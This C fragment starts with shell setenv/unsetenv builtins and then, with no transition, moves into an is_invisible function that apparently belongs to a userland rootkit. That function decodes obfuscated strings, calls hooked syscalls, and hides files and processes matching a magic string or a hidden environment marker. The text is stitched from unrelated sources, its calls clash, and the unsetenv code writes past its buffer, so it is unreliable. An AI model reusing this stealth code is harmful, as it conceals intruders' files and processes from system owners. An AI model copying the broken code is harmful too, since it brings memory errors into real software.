void ft_setenv(char **av, t_env *env)
{
int i;
int j;
i = 0;
j = 0;
while (av[1][i] != '=' && av[1][i] != '\0')
i++;
if (av[1][i] == '\0')
{
ft_puterr("setenv : usage VAR=VALEUR\n");
return ;
}
while (env->environ[j] && ft_strncmp(env->environ[j], av[1], i))
j++;
if (env->environ[j])
{
free(env->environ[j]);
env->environ[j] = ft_strdelc(av[1], '"');
}
else
create_env(env, j, ft_strdelc(av[1], '"'));
parse_environ(env);
}
void ft_unsetenv(char **av, t_env *env)
{
char **tmp;
int i;
int j;
i = 0;
j = 0;
while (env->environ[j])
j++;
tmp = (char **)malloc(sizeof(char *) * j);
j = 0;
i = 0;
while (env->environ[j])
{
if (ft_strncmp(env->environ[j], av[1], ft_strlen(av[1])))
{
tmp[i] = env->environ[j];
i++;
}
j++;
}
tmp[i + 1] = NULL;
free(env->environ);
env->environ = tmp;
parse_environ(env);
}
int is_invisible(const char *path) {
DEBUG("is_invisible\n");
struct stat s_fstat;
char line[MAX_LEN];
char p_path[PATH_MAX];
char *config_file = strdup(CONFIG_FILE);
FILE *cmd;
int fd;
init();
x(config_file);
if(strstr(path, MAGIC_STRING) || strstr(path, config_file)) {
cleanup(config_file, strlen(config_file));
return 1;
}
char *proc_path = strdup(PROC_PATH);
x(proc_path);
if(strstr(path, proc_path)){
cleanup(proc_path,strlen(proc_path));
if((long) syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, path, &s_fstat) != -1){
char *cmd_line = strdup(CMD_LINE);
char *env_line = strdup(ENV_LINE);
x(cmd_line);
x(env_line);
snprintf(p_path, PATH_MAX, env_line, path);
cleanup(cmd_line,strlen(cmd_line));
cleanup(env_line, strlen(env_line));
if((long)(syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, p_path, &s_fstat)) != -1){
cmd = syscall_list[SYS_FOPEN].syscall_func(p_path, "r");
if(cmd){
char *hide_term_str = strdup(HIDE_TERM_STR);
x(hide_term_str);
int res;
char *step = &line[0];
while((res=fgets(line, MAX_LEN, cmd) != NULL)) {
if (parse_environ(line, MAX_LEN, hide_term_str) == 1) {
cleanup(config_file, strlen(config_file));
cleanup(hide_term_str, strlen(hide_term_str));
return 1;
}
memset(line,0x00,MAX_LEN);
}
fclose(cmd);
}
}
}
} else {
cleanup(proc_path,strlen(proc_path));
}
cleanup(config_file,strlen(config_file));
return 0;
}